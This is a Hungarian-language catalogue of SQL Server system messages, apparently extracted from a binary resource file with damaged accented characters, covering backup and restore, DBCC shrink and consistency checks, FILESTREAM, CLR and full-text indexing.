A pillanatkp-elklnts vagy a vgrehajts utni olvass pillanatkpe nem rhetQ el a(z)  %1!s!  adatbzisban, mert az SQL Server egy vagy tbb dokumentlatlan kvetQjelzQvel lett elindtva, amelyek megakadlyozzk az adatbzis verziszmozsi funkcionalitst. A pillanatkp-elklntssel megkezdett tranzakcik sikertelenek lesznek; a vgrehajts utni olvass pillanatkpe alatt fut lekrdezsek pedig ugyan sikeresek lesznek, de a vgrehajts utni olvassnl zrolsalap mqkdsre knyszerlnek.

A PILLANATKP-ELKLNTS mindig engedlyezve van ebben az adatbzisban.

Az gyfl sp_reset_connection eljrst kld, mikzben mg vannak fggQben lvQ krelmek; a kiszolgl bontja a kapcsolatot.

A(z)  %1!s!  eszkz adathordozja %2!s! idQpontban lejr, s onnantl kezdve nem lehet fellrni.

A(z)  %2!s!  adatbzis %1!s! lapja feldolgozva. %4!s!. fjl, fjlnv:  %3!s! .

Az XP visszahvott  %1!s!  fggvnye sikertelen volt a(z)  %2!s!  bQvtett eljrsban, mert INSERT-EXEC utastson bell kerlt vgrehajtsra, ami nem engedi meg a bQvtett eljrsnak, hogy az eredmnykszleten kvl ms adatokat kldjn.

lAz XP visszahvott  %1!s!  fggvnye sikertelen volt a(z)  %2!s!  bQvtett eljrsban, mert a bQvtett eljrs olyan UDF-ben van meghvva, amely nem engedlyezi az adatkldst.

lA napl nem lett csonktva, mert a napl elejn szereplQ bejegyzsek replikcira vagy az adatvltozsok rgztsre vrnak. EllenQrizze, hogy a naplolvas gynk vagy a rgztsi feladat fut-e, vagy hasznlja az sp_repldone eljrst a tranzakcik elosztottknt, illetve rgztettknt val megjellsre.

DA BACKUP LOG (napl biztonsgi mentse) eljrs nem tudja mdostani az adatbzist, mert az adatbzis csak olvashat. A biztonsgimsolat-kszts folytatdik, br az ezutn kvetkezQ biztonsgi msolatoknl ugyanezt a munkt meg kell ismtelnie a biztonsgimsolat-ksztQ funkcinak.

hAz online visszallts befejezQdtt, de meg volt adva a WITH NORECOVERY kapcsol. Az rintett adatok online llapotv ttelhez hasznlja a RESTORE WITH RECOVERY utastst.

Bizonyos fjloknl tovbbra is tbb visszalltsi lpsre van szksg, mielQtt az online visszalltsi folyamat befejezQdhet.

A biztonsgimsolat-kszlet olyan bejegyzseket tartalmaz, amelyek a megadott idQpont elQtt kerltek naplzsra. A rendszer az adatbzist visszalltsi llapotban hagyja, annak rdekben, hogy tovbbi elQregrgetseket lehessen elvgezni.

A naplfjl olyan bejegyzseket tartalmaz, amelyek a megadott idQpont elQtt kerltek naplzsra. A rendszer az adatbzist visszalltsi llapotban hagyja, annak rdekben, hogy jabb naplfjlt alkalmazhasson.

A RESTORE utasts sikeresen vgrehajtott bizonyos mqveleteket, de az adatbzist nem lehetett online llapotba helyezni, mert egy vagy tbb RESTORE-lpsre van szksg. Az elQzQ zenetekbQl kiderl, hogy a visszallts jelenleg mirt nem trtnhet meg.

Problmk merltek fel az adatrgztssel az msdb..suspect_pages tblban. Ez a hiba nem befolysol semmilyen tevkenysget, kivve a suspect_pages tbla karbantartst. Tovbbi informcirt ellenQrizze a hibanaplt.

A visszalltott  %2!s!  adatbzis  %1!s!  fjljt a rendszer hinyos llapotban hagyja, mert az adatbzisban ppen verzifrissts zajlik. A darabonknt trtnQ visszallts frissts kzben nem tmogatott.

A kvetkezQ adatbzis visszalltsa befejezQdtt:  %1!s! . Az adatbzis ezennel elrhetQ.

Figyelmeztets: A(z)  %1!s!  nzet szmra biztostott indexmutatkat a rendszer figyelmen kvl hagyja.

Tmeges betlts: A DataFileType tulajdonsg helytelenl karakter (char) tpusknt lett megadva. A rendszer gy fogja kezelni a DataFileType tulajdonsgot, mintha szles karakter (widechar) lenne, mert az adatfjl Unicode-alrssal rendelkezik.

Tmeges betlts: A DataFileType tulajdonsg helytelenl szles karakter (widechar) tpusknt lett megadva. A rendszer gy fogja kezelni a DataFileType tulajdonsgot, mintha karakter (char) lenne, mert az adatfjl nem rendelkezik Unicode-alrssal.

8Figyelmeztets: A(z)  %1!s!  tbla sszefslses replikci cljbl kzz van tve. Inicializlja jbl az rintett elQfizetQket vagy hajtsa vgre az sp_addtabletocontents eljrst annak biztostsa rdekben, hogy a felvett adatok szerepeljenek a kvetkezQ szinkronizlsban.

Megjegyzs: A nzeten keresztli tmeges beszrs ahhoz vezethet, hogy az alaptbla alaprtelmezett rtkei figyelmen kvl lesznek hagyva, s az adatfjlban egyszerqen NULL rtkq oszlopokknt lesznek kezelve.

DFigyelmeztets: A(z)  %2!s!  tbla szmra megadott %1!s!. partcit az ALTER TABLE SWITCH utasts figyelmen kvl hagyta, mert a tbla nincs particionlva.

A(z)  %1!s!  fjl mdosult a rendszerkatalgusban. Az adatbzis legkzelebbi indtsakor a rendszer az j elrsi utat hasznlja majd.

A sys.master_files katalgusnzetben nem tallhat bejegyzs a kvetkezQ fjlhoz:  %1!s! .

\A(z)  %2!s!  %1!s! neve be lett lltva.

TFigyelmeztets: A(z)  %1!s!  adatbzis naplja jra lett ptve. A tranzakcionlis konzisztencia elveszett. A RESTORE-lnc megszakadt, a kiszolgl pedig most mr nem rendelkezik kontextussal az elQzQ naplfjlokrl, ezrt nnek tudnia kell, hogy mik voltak azok. A fizikai konzisztencia rvnyestshez futtassa a DBCC CHECKDB utastst. Az adatbzis csak DBO mdba lett helyezve. Amikor kszen ll hasznlatra elrhetQv tenni az adatbzist, akkor alaphelyzetbe kell lltani az adatbzis belltsait, s trlnie kell minden tovbbi naplfjlt.

0Amg a naplrl nem kszlt biztonsgi msolat, addig a fjl nem zsugorthat a(z) %1!s! jelq lap al, mert tmegesen naplzott lapokat tartalmaz.

HA(z)  %2!s!  %1!s! eltvoltva.

`A(z) %1!s!  %2!s!  tulajdonsga belltva.

A minQstetlen tranzakcik visszagrgetse folyamatban van. A visszagrgets becslt befejezettsgi arnya: %1!s!%%.

Az aktulis adatbzis jraindtsa sikertelen. Az aktulis adatbzis t lett vltva a master adatbzisra.

Figyelmeztets: A(z)  %1!s!  adatbzis alaprtelmezett rendezst mdostja, ami replikls sorn is hasznlva van. Minden replikcis adatbzisnak ugyanezzel az alaprtelmezett rendezssel kell rendelkeznie.

A(z)  %1!s!  adatbzisnl a vardecimal (vltoz hosszsg decimlis) trolsi formtum %2!s!.

A(z)  %3!s!  adatbzis %1!s! kapcsoljt a rendszer tlltja a kvetkezQre: %2!s!.

PA(z)  %1!s!  naplfjl nem egyezik az elsQdleges fjllal. Lehetsges, hogy msik adatbzisbl szrmazik, vagy az is lehet, hogy a napl korbban jra lett ptve.

A fjl aktivlsa sikertelen. Lehetsges, hogy a kvetkezQ fizikai fjlnv helytelen:  %1!s! .

FCB::SetSize   dbid: %1!s!, fileid: %2!s!, oldSize: %3!s!, newSize: %4!s!. Ha meg kvnja akadlyozni, hogy ez a tjkoztat zenet megjelenjen a hibanaplban, akkor a DBCC TRACEOFF utasts hasznlatval kapcsolja ki a kvetQjelzQt.

A napl nem pthetQ jra, mert az adatbzis lelltsakor nylt tranzakcik/felhasznlk voltak jelen, az adatbzis nem rendelkezik ellenQrzQponttal, vagy az adatbzis csak olvashat. A hiba olyankor fordulhat elQ, ha a tranzakcis naplfjlt manulisan trltk, esetleg hardverhiba vagy krnyezeti krlmnyek kztt elveszett.

A napl nem pthetQ jra, ha az elsQdleges fjl rsvdett.

A napl nem pthetQ jra, ha engedlyezve van az adatbzis-tkrzs.

|A napl nem lett jraptve, mert tbb naplfjl is van.

lA(z)  %2!s!  adatbzis  %1!s!  fjljnak automatikus megnvelst a felhasznl megszaktotta, vagy az idQkorlt tl lett lpve (%3!s! ezredmsodperc). Az ALTER DATABASE utastssal kisebb FILEGROWTH (fjlnvekeds) rtket adhat meg a fjl szmra, vagy explicit mdon meghatrozhatja az j fjlmretet.

A(z)  %2!s!  adatbzis  %1!s!  fjljnak automatikus megnvelse %3!s! ezredmsodpercet vett ignybe. Az ALTER DATABASE utastssal kisebb FILEGROWTH (fjlnvekeds) rtket adhat meg a fjl szmra.

A(z) %1!s! fjl ki lett bQvtve annak rdekben, hogy a visszallts sikeresen befejezQdhessen. A visszallts befejeztvel megnvelheti az adatbzis fjljainak a mrett. Segtsgrt forduljon a rendszergazdhoz.

Annak rdekben, hogy a visszallts sikeresen befejezQdhessen, a(z)  %1!s!  naplfjlt a rendszer kibQvtette a maximlis mreten tlra. A visszallts befejeztvel nvelje meg a naplfjl mrett az adatbzisban, vagy temezzen gyakoribb biztonsgimsolat-ksztst a naplfjl szmra (a teljes vagy a tmeges naplzsi helyrelltsi modell alatt).

TAz j naplfjl ltrehozva:  %1!s! .

A helyi  %1!s!  knyvtrat a tempdb adatbzishoz hasznljk frtztt kiszolgln. Ennek a knyvtrnak a frt mindegyik csompontjn lteznie kell, s az SQL Server szolgltatsnak olvassi/rsi engedllyel kell rendelkeznie a knyvtrra vonatkozan.

XA kvetkezQ fjl kitmrtve:  %1!s! .

dDBCC SHRINKDATABASE: A(z) %2!s!. azonostj adatbzis %1!s!. azonostj fjljt a rendszer kihagyta, mert nincs elegendQ visszanyerhetQ szabad lemezterlet a fjl szmra.

,A(z) %1!s!. azonostj adatbzisnl a DBCC SHRINKDATABASE utasts arra vr, hogy a(z) %2!s! idQblyegzQvel rendelkezQ pillanatkp-tranzakci s a(z) %3!s! idQblyegzQvel kapcsolatos, illetve a(z) %4!s! idQblyegzQnl rgebbi egyb pillanatkp-tranzakcik befejezQdjenek.

A(z) %1!s!. azonostj fjlnl a DBCC SHRINKFILE utasts arra vr, hogy a(z) %2!s! idQblyegzQvel rendelkezQ pillanatkp-tranzakci s a(z) %3!s! idQblyegzQvel kapcsolatos, illetve a(z) %4!s! idQblyegzQnl rgebbi egyb pillanatkp-tranzakcik befejezQdjenek.

%1!s!: A kvetkezQ lap thelyezse sikertelen: %2!s!:%3!s!.

%1!s!: A(z) %2!s!:%3!s! jelq lap thelyezse sikertelen, mert a lap nem olvashat.

%1!s!: A(z) %2!s!:%3!s! jelq lap thelyezse sikertelen, mert az egy munkatbla lapja.

%1!s!: A(z) %2!s!:%3!s! jelq lap thelyezse sikertelen, mert az egy munkafjl lapja.

%1!s!: A(z) %2!s!:%3!s! jelq lap thelyezse sikertelen, mert az egy dediklt foglalsi lap.

%1!s!: A(z) %2!s!:%3!s! jelq lap thelyezse sikertelen, mert a lap tpusa rvnytelen.

%1!s!: A(z) %2!s!:%3!s! jelq lap thelyezse sikertelen, mert a lap a zsugorts sorn fel lett szabadtva.

X%1!s!: A SYSFILES1 rendszertbla %2!s!:%3!s! jelq lapjnak ms fjlokba trtnQ thelyezse sikertelen, mert a lap csak az adatbzis elsQdleges fjljban lehet jelen.

%1!s!: A(z) %2!s!:%3!s! jelq lap thelyezse sikertelen, mert a zsugorts sorn megvltozott a lap tulajdonosa.

%1!s!: A(z) %2!s!:%3!s! jelq lap thelyezse sikertelen, mert a zsugorts sorn megvltozott a lap tpusa.

%1!s!: A(z) %2!s!:%3!s! jelq lap thelyezse sikertelen, mert a partci, amelyhez a lap tartozott, el lett dobva.

%1!s!: A halommemria %2!s!:%3!s! jelq lapjnak thelyezse sikertelen, mert a tbla, amelyhez a lap tartozott, el lett dobva.

%1!s!: A(z) %2!s!:%3!s! jelq lap thelyezse sikertelen, mert az egy res, nem levl szintq indexlap.

%1!s!: A halommemria %2!s!:%3!s! jelq lapjnak thelyezse sikertelen, mert a tblanv nem tallhat.

%1!s!: A halommemria %2!s!:%3!s! jelq lapjnak thelyezse sikertelen.

%1!s!: Az indexfoglalsi trkp %2!s!:%3!s! jelq lapjnak thelyezse sikertelen.

%1!s!: Az indexfoglalsi trkp eldobott foglalsi egysgbQl szrmaz %2!s!:%3!s! jelq lapjnak thelyezse sikertelen.

%1!s!: Az eldobott foglalsi egysgbQl szrmaz %2!s!:%3!s! jelq lap felszabadtsa sikertelen.

%1!s!: Az res %2!s!:%3!s! jelq lap felszabadtsa sikertelen.

%1!s!: A(z) %2!s!:%3!s! jelq, res nagyobjektum-lap felszabadtsa sikertelen.

%1!s!: A kvetkezQ nagyobjektum-lapon tallhat szellemrekordok kzl nem mindegyiket sikerlt eltvoltani: %2!s!:%3!s!. Ha olvashat msodlagos msodpldnyokra vonatkoz aktv lekrdezsek vannak, ellenQrizze az aktulis szellemrekord-tiszttsi hatrt.

%1!s!: A kvetkezQ lapot nem sikerlt felszabadtani: %2!s!:%3!s! (tpusa: UNLINKED_REORG_PAGE).

%1!s!: A kvetkezQ lapot nem sikerlt felszabadtani: %2!s!:%3!s! (tpusa: BULK_OPERATION_PAGE).

Az ellenQrzQ-utasts meg lett szaktva. A DBCC CHECKCATALOG utasts nem futtathat a TEMPDB adatbzison.

Objektumazonost: %1!s! (objektum:  %2!s! ): Mialatt a rendszer ellenQrzs cljbl zrolni prblta az objektumot, holtpont alakult ki. A rendszer mellQzte az objektumot, ezrt az kerl feldolgozsra.

A DBCC CHECKDB utasts nem ellenQrzi az SQL Server-katalgus, illetve a Service Broker konzisztencijt, mert nem sikerlt adatbzis-pillanatkpet ltrehozni, vagy mert meg lett adva a WITH TABLOCK opci.

@DBCC SHRINKDATABASE: A(z) %2!s!. azonostj adatbzis %1!s!. azonostj fjljt a rendszer kihagyta, mert nem sikerlt mdostani a fjl helyfoglalst.

A(z) %7!s! felhasznl ltal vgrehajtott %1!s!DBCC %2!s! (%3!s!%4!s!%5!s!)%6!s! utasts rendellenes mdon lellt, a kvetkezQ szm hiballapot miatt: %8!s!. Eltelt idQ: %9!s! ra, %10!s! perc, %11!s! msodperc.

Nem sikerlt feldolgozni a(z)  %1!s!  objektumot, mert az egy ngyrszes nv, s az ilyeneket a DBCC utastsok egyike sem tmogatja.

0BelsQ lekrdezshiba miatt nem sikerlt a DBCC-sorkszlet-keresztellenQrzs a kvetkezQ objektumra vonatkozan:  %1!s!  (objektumazonost: %2!s!).

0A(z) %2!s!. azonostj adatbzis %1!s!. azonostj fjljt nem sikerlt zsugortani, mert egy msik folyamat ppen tmrti azt, vagy mert res.

dA(z) %2!s!. azonostj adatbzis %1!s!. azonostj fjljt nem sikerlt zsugortani, mert a zsugortsi clmret (%3!s! KB) nagyobb a fjl tnyleges mretnl (%4!s! KB).

Javts: Egy sor sikeresen %1!s! a(z)  %3!s!  adatbzis  %2!s!  indexben.

%1!s!: A kvetkezQ lapot nem sikerlt thelyezni, mert a zsugort mqvelet nem tudta zrolni a lapot: %2!s!:%3!s!.

T%1!s!: Nem sikerlt thelyezni a kvetkezQ halommemria-lapot, mert a halommemrihoz hozzrendelt, nem frtztt (NC) indexeket nem sikerlt megQrizni: %2!s!:%3!s!.

TA(z) %2!s!. azonostj adatbzis %1!s!. azonostj fjljt nem sikerlt a vrt mretre zsugortani. A nagy egyidejq munkaterhels tl sok holtpont kialakulshoz vezet a zsugortsi mqvelet kzben. Futtassa jbl a zsugortsi mqveletet olyan idQpontban, amikor alacsonyabb a munkaterhels.

Az ellenQrzQ utasts meg lett szaktva. A DBCC CHECKALLOC utasts nem futtathat a TEMPDB adatbzison.

D%1!s!: Nem sikerlt thelyezni a kvetkezQ halommemria-lapot, mert a tbla, amelyhez tartozott, egy msik folyamatban ptette a halommemrit: %2!s!:%3!s!.

%1!s!: Nem sikerlt thelyezni a kvetkezQ lapot, mert az egy rendezQlap: %2!s!:%3!s!.

8%1!s!: A(z) %3!s!. azonostj adatbzis %2!s!. azonostj fjljt a rendszer kihagyta, mert a fjl mrete a zsugortsi mqvelet kzben megvltozott.

 %1!s!: Nem sikerlt thelyezni a kvetkezQ halommemria-lapot, mert a szmtott oszlop kifejezsnek sszelltsa sikertelen: %2!s!:%3!s!.

%1!s!: Nem sikerlt thelyezni a kvetkezQ halommemria-lapot, mert a szmtott oszlop kifejezsnek feltltse sikertelen: %2!s!:%3!s!.

%1!s!: A kvetkezQ lapot nem sikerlt thelyezni, mert az nem lett formzva: %2!s!:%3!s!.

A rendszer rvnytelen darabszmo(ka)t tallt a kvetkezQre vonatkozan:  %1!s!  tbla,  %2!s!  index, %3!s!: partci.

   %1!s! DATA lapok: Rendszertblbl   %2!s! lap;     Tnylegesen   %3!s! lap.

   %1!s! USED lapok: Rendszertblbl   %2!s! lap;     Tnylegesen   %3!s! lap.

   %1!s! RSVD lapok: Rendszertblbl   %2!s! lap;     Tnylegesen   %3!s! lap.

   ROWS darabszm: Rendszertblbl   %1!s! sor;     Tnylegesen   %2!s! sor.

A DBCC %1!s! utasts rszletes keresst hajt vgre %2!s! indexben, az esetleg ellentmondsos adatok feldertse rdekben. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

%1!s!: Nem sikerlt thelyezni a kvetkezQ lapot, mert az egy nem thelyezhetQ lap egy kritikus rendszertblban: %2!s!:%3!s!.

BelsQ hiba miatt a DBCC %1!s! utasts eredmnykimeneti mqvelete nem sikerlt. Rszletekrt tekintse t a tbbi hibazenetet.

@%1!s!: A kvetkezQ indexfoglalsitrkp-lapot nem sikerlt thelyezni, mert a mgttes objektumhoz nem lehetett kizrlagos mdon hozzfrni: %2!s!:%3!s!.

X%1!s!: A kvetkezQ lapot nem sikerlt thelyezni, mert az olyan indexhez/halommemrihoz tartozik, amely jelenleg vagy korbban online pts alatt llt: %2!s!:%3!s!. 

LA kvetkezQben trtnQ rszletes ellentmonds-keress befejezQdtt:  %1!s!  (adatbzis-azonost: %2!s!) Vgrehajtott keressek szma: %3!s!; keressek szma sszesen: %4!s!. eltelt idQ: %5!s! ezredmsodperc. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

A kvetkezQben trtnQ rszletes ellentmonds-keress nem sikerlt:  %1!s!  (adatbzis-azonost: %2!s!). A sikertelensg oka: %3!s!. kivtel, %4!s!. llapot. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

 A belsQ %1!s!adatbzis-pillanatkp levlasztsi pontjnak naplsorszma = %2!s!:%3!s!:%4!s!, elsQ naplsorszma pedig = %5!s!:%6!s!:%7!s!.

A DBCC mqvelet olyan lapot szlelt, amelynek naplsorszma (LSN) nagyobb, mint a belsQ adatbzis-pillanatkphez tartoz, a napl jelenlegi vgt jelzQ %1!s! naplsorszm. A kvetkezQ nem olvashat: %2!s! jelq lap,  %3!s!  adatbzis (adatbzis-azonost: %4!s!), naplsorszm = %5!s!, tpus = %6!s!, isInSparseFile = %7!s!. Futtassa jbl ezt a DBCC utastst."

A(z) %2!s! adatbzisban a(z) %1!s! szmra szksges becslt TEMPDB-terlet (KB-ban) = %3!s!.

Sikertelen volt az oszloptrindex sorkszletkzi ellenQrzse, objektumazonost: %1!s!, indexazonost: %2!s!, partciazonost: %3!s!. Dobja el, majd hozza ltre jbl az oszloptrindexet.

%1!s!: A(z) %2!s!:%3!s! jelq lap thelyezse sikertelen, mert egy LOB-okkal rendelkezQ aktv online indexksztshez tartozik.

DBCC THROWERROR megkerlsi kivtel. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

Nem tallhat bejegyzs a kvetkezQ FILESTREAM fjlhoz a sys.database_files nzetben:  %1!s! .

4FILESTREAM: tnyleges szint = %1!s! (tvoli hozzfrs letiltva), belltott szint = %2!s!, megosztsi nv fjlrendszerbeli hozzfrshez =  %3!s! .

<FILESTREAM: tnyleges szint = %1!s! (tvoli hozzfrs engedlyezve), belltott szint = %2!s!, megosztsi nv fjlrendszerbeli hozzfrshez =  %3!s! .

BelsQ FILESTREAM-hiba: a trlsjelzQtblhoz val hozzfrs sikertelen. HRESULT: 0x%1!s!.

8Az sp_filestream_configure trolt eljrs vgrehajtsa sorn a(z)  %1!s!  mqvelet vgrehajtsa nem sikerlt. HRESULT: %2!s!, fjl:  %3!s! , %4!s!. sor.

FILESTREAM: tnyleges szint = %1!s!, belltott szint = %2!s!, megosztsi nv fjlrendszerbeli hozzfrshez =  %3!s! .

A FILESTREAM funkci le lett tiltva. A belltsok teljes krq rvnybe lptetshez indtsa jra az SQL Server-pldnyt. A FILESTREAM-oszlopokban esetlegesen megtallhat adatokhoz a SQL Server-pldny jraindtst kvetQen nem lehet hozzfrni.

Ahhoz, hogy a FILESTREAM funkci belltsai rvnybe lphessenek, a gp jraindtsra van szksg.

A FILESTREAM funkci mr a megadott szintre van belltva. Nem trtnt mdosts. 

TLehetsges, hogy a FILESTREAM funkci belltsai ellentmondsosak. Hasznlja az sp_configure trolt eljrst a belltsok alapllapotba trtnQ visszalltshoz.

A FILESTREAM funkci felhasznli pldnyokon nem tmogatott.

A szolgltats fQkulcsnak jragenerlsa sikeresen megtrtnt.

A rendszergazda jelszavnak jragenerlsi ksrlete sikeresen befejezQdtt.

Adatbzis-krnyezet mdostva a kvetkezQ rtkre:  %1!s! .

\Az SQL Server lelltja ezt a folyamatot.

lNyelvi bellts tlltva a kvetkezQre: %1!s!.

A rendszer ismeretlen konfigurcit (azonost = %1!s!) szlelt a sys.configurations nzetben.

A(z) %1!s!. azonostj fizikai processzor mqkds kzben hozz lett adva a(z) %2!s!. azonostj csomponthoz, %3!s!. azonostj logikai processzorknt. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

A SQL Server e kiadsa nem tmogatja az online CPU-hozzadst.

A CPU-erQforrsok online hozzadst nem lehet vgrehajtani. Olyan soft-NUMA (szoftveres nem egysges memriaelrs)-konfigurci lett megadva az SQL Server-indtsnl, amely nem engedlyezi a CPU-erQforrsok online hozzadst. Tovbbi CPU-erQforrsok hasznlathoz adja hozz az j processzorokat a soft-NUMA-konfigurcihoz s indtsa jra az SQL Server rendszert, vagy tvoltsa el a soft-NUMA-konfigurcit s indtsa jra az SQL Server rendszert.

Az AccessCheckResult kvtnak legalbb akkornak kell lennie, mint a sorok szma.

Az AccessCheckResult sorainak szma csak kevesebb lehet, mint %1!s!.

CPU

NUMANODE

`A(z) %1!s! csompont affinitsa megvltozott 0x%2!s!:%3!s! rtkrQl 0x%4!s!:%5!s! rtkre. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

xA SHUTDOWN utasts %1!s! folyamat befejezQdsre vr.

xA felhasznlnak nincs engedlye e mqvelet elvgzsre.

TA SHUTDOWN utasts folyamatban van.

A kiszolglt %1!s! lelltotta; bejelentkezsi identits: %2!s!.

A SHUTDOWN utasts nem hajthat vgre tranzakcin bell vagy trolt eljrs ltal.

0%1!s!. SPID: tranzakci visszalltsa folyamatban. Visszallts becslt feldolgozottsgi arnya: %2!s!%%. Becslt htralvQ idQ: %3!s! msodperc.

xA(z) %1!s! UOW-rtkkel rendelkezQ elosztott tranzakci visszalltsa folyamatban van: visszallts becslt feldolgozottsgi arnya: %2!s!%%, becslt htralvQ idQ: %3!s! msodperc.

A kzs nyelvi futtatkrnyezet (CLR) funkciinak inicializlsa megtrtnt a kvetkezQ helyrQl: %2!s!. CLR verziszma: %1!s!.

A kzs nyelvi futtatkrnyezet (CLR) funkciinak inicializlsa megtrtnt.

@Figyelmeztets: A(z)  %1!s!  szerelvny a .NET-keretrendszer %2!s! szm verzijval lett ltrehozva. Az SQL Server ltal jelenleg hasznlt verzi: %3!s!.

A(z) %1!s!. szm AppDomain (%2!s!) eltvoltva a memribl.

hA(z) %1!s!. szm AppDomain (%2!s!) ltrehozva.

Egy vagy tbb XML-tredkbQl el lett tvoltva az XML DTD. Az esetlegesen jelen lvQ klsQ alkszletek mellQzve lettek.

xA .NET-keretrendszer futtatkrnyezete le lett lltva.

0x%1!s! szm XML-elemzsi hiba trtnt a %2!s!. sornl, a kvetkezQ XML-szveg kzelben:  %3!s! .

XML-hitelests: rvnytelen tartalom. Vrt elem(ek): %1!s!. %2!s! %3!s!

XML-hitelests: rvnytelen tartalom. Vrt elem(ek): %1!s!. Ehelyett a rendszer a kvetkezQ elemet tallta:  %2!s! . %3!s! %4!s!

XFigyelmeztets: A(z)  %1!s!  tpusra a(z)  %2!s!  rtkkorltozs vonatkozik, ami krosan befolysolhatja az ilyen tpus pldnyok kiszolglval trtnQ adatvltst.

Nem hvhat le a sorhalmaz a(z)  %2!s!  csatolt kiszolglhoz tartoz  %1!s!  OLE DB-szolgltattl. %3!s!.

\A(z)  %2!s!  csatolt kiszolglhoz tartoz  %1!s!  OLE DB-szolgltat ltal eredmnyl adott  %3!s!  adattpusa  %4!s! , azonban ennek  %5!s!  tpusnak kellene lennie.

hA(z)  %2!s!  csatolt kiszolglhoz tartoz  %1!s!  OLE DB-szolgltat helytelen rtket adott eredmnyl a kvetkezQhz:  %3!s! . Ennek a kvetkezQnek kellene lennie:  %4!s! .

LA(z)  %2!s!  csatolt kiszolglhoz tartoz  %1!s!  OLE DB-szolgltat gy adta eredmnyl a(z)  %3!s!  rtket, hogy kzben nem tmogatja a kvetkezQt:  %4!s! .

TA(z)  %2!s!  csatolt kiszolglhoz tartoz  %1!s!  OLE DB-szolgltat a(z)  %3!s!  rtket adta eredmnyl a kvetkezQhz a statisztika-sszegyqjts kzben:  %4!s! .

`A(z)  %2!s!  csatolt kiszolglhoz tartoz  %1!s!  OLE DB-szolgltat tmogatja a smazrolsi felletet, de a(z)  %3!s!  rtket adta eredmnyl a kvetkezQhz:  %4!s! .

%1!s! SQL Server tvolimetaadat-sszegyqjtsi idQ; tbla: %2!s!.%3!s!:%4!s!, processzoridQ = %5!s! ms, eltelt idQ = %6!s! ms.

A(z)  %2!s!  csatolt kiszolglhoz tartoz  %1!s!  OLE DB-szolgltat csonkolt eredmnyt adott eredmnyl a kvetkezQ oszlopra vonatkozan:  %3!s!.%4!s! . A tnyleges adathossz %5!s!, mg a csonkolt adathossz %6!s!.

Figyelmeztets: A(z)  %1!s!  tbla vagy indexelt nzet teljesszvegesindex-feltltsre vonatkoz krelem figyelmen kvl lett hagyva, mert mr van egy aktv feltltsi folyamat erre a tblra vagy indexelt nzetre vonatkozan.

@Figyelmeztets: A vltozskvets lelltsra vonatkoz krelem trlte a kvetkezQ tbla vagy indexelt nzet sszes nyomon kvetett mdostst:  %1!s! .

Figyelmeztets: A(z)  %1!s!  tblt vagy indexelt nzet vltozskvetsnek lelltsra vonatkoz krelem nem lltja le tbla vagy indexelt nzet jelenleg folyamatban lvQ feltltst.

Figyelmeztets: A kvetkezQ helyen lvQ teljes szveges katalgus konfigurcija nem menthetQ adatbzis-levlaszts kzben:  %1!s! .

Figyelmeztets: A kvetkezQ teljes szveges katalgus csatolsa nem sikerlt:  %1!s! .

Figyelmeztets: A kvetkezQ helyen lvQ teljes szveges katalgus kivtele nem sikerlt:  %1!s! .

Figyelmeztets: A kvetkezQ helyen lvQ teljes szveges katalgus eldobsa nem sikerlt:  %1!s! .

Figyelmeztets: A folyamatban lvQ feltlts szksges ahhoz, hogy napraksz legyen az index. Szksg esetn elQszr lltsa le a vltozsok kvetst, majd kapcsolja ki a teljes szveges index feltltst.

DFigyelmeztets: A kvetkezQ tbla vagy indexelt nzet olyan teljes szveges indexelt oszlopokkal rendelkezik, melyek tpusa image, text vagy ntext:  %1!s! . A teljes szveges vltozskvets nem tudja nyomon kvetni az ezen oszlopokon vgrehajtott WRITETEXT s UPDATETEXT mqveleteket.

Figyelmeztets: A teljes szveges vltozskvets jelenleg engedlyezve van a kvetkezQ tbln vagy indexelt nzeten:  %1!s! .

Figyelmeztets: A teljes szveges automatikus propagls jelenleg engedlyezve van a kvetkezQ tbln vagy indexelt nzeten:  %1!s! .

Figyelmeztets: A kvetkezQ tbla vagy indexelt nzet teljes szveges indexe nem tlthetQ fel, mert az adatbzis egyfelhasznls zemmdban van:  %1!s! . A rendszer lelltotta a tbla vagy indexelt nzet vltozskvetst.

Figyelmeztets: A kvetkezQ tbla vagy indexelt nzet teljes szveges vltozskvetse jelenleg le van tiltva:  %1!s! .

Figyelmeztets: A kvetkezQ teljes szveges katalgus eldobsa folyamatban van, s jelenleg alaprtelmezettknt van belltva:  %1!s! .

LFigyelmeztets: A teljes szveges automatikus propagls jelenleg be van kapcsolva. A bejrs lelltsra vonatkoz krelmet a rendszer figyelmen kvl hagyta.

Figyelmeztets: A kvetkezQ knyvtr nem rendelkezik teljes szveges katalgussal:  %1!s! . Hinyzik vagy megsrlt a teljes szveges katalgus fejlcfjlja vagy csatolsillapot-fjlja. A teljes szveges katalgus nem csatolhat.

A kvetkezQ komponens hibt jelentett az indexels sorn:  %1!s! . Komponens elrsi tja:  %2!s! .

8 %1!s!  jelq hiba trtnt a(z)  %2!s!  tbla vagy indexelt nzet teljes szveges indexfeltltse sorn (a tbla vagy indexelt nzet azonostja  %3!s! , az adatbzis azonostja  %4!s! ), a kvetkezQ teljes szveges kulcsrtk mellett:  %5!s! . A sor indexelse sikertelen volt.

P %1!s!  jelq hiba trtnt a(z)  %2!s!  tbla vagy indexelt nzet teljes szveges indexfeltltse sorn (a tbla vagy indexelt nzet azonostja  %3!s! , az adatbzis azonostja  %4!s! ), a kvetkezQ teljes szveges kulcsrtk mellett:  %5!s! . A rendszer ksrletet tesz az jraindexelsre.

CONTAINS, FREETEXT, CONTAINSTABLE, illetve FREETEXTTABLE szerkezet nem hasznlhat a kvetkezQ tblra vagy indexelt nzetre vonatkozan, mert annak egyetlen oszlopa sem teljes szveges indexelsq:  %1!s! . Regisztrljon legalbb egy oszlopot teljes szveges indexelsre, az ALTER FULLTEXT INDEX utasts hasznlatval.

Figyelmeztets: A(z)  %2!s!  adatbzis  %1!s!  tblja vagy indexelt nzete a teljes szveges katalgusfjlok biztonsgi mentst kvetQen megvltozott. A teljes szveges index konzisztens llapotra hozshoz teljes feltltsre van szksg.

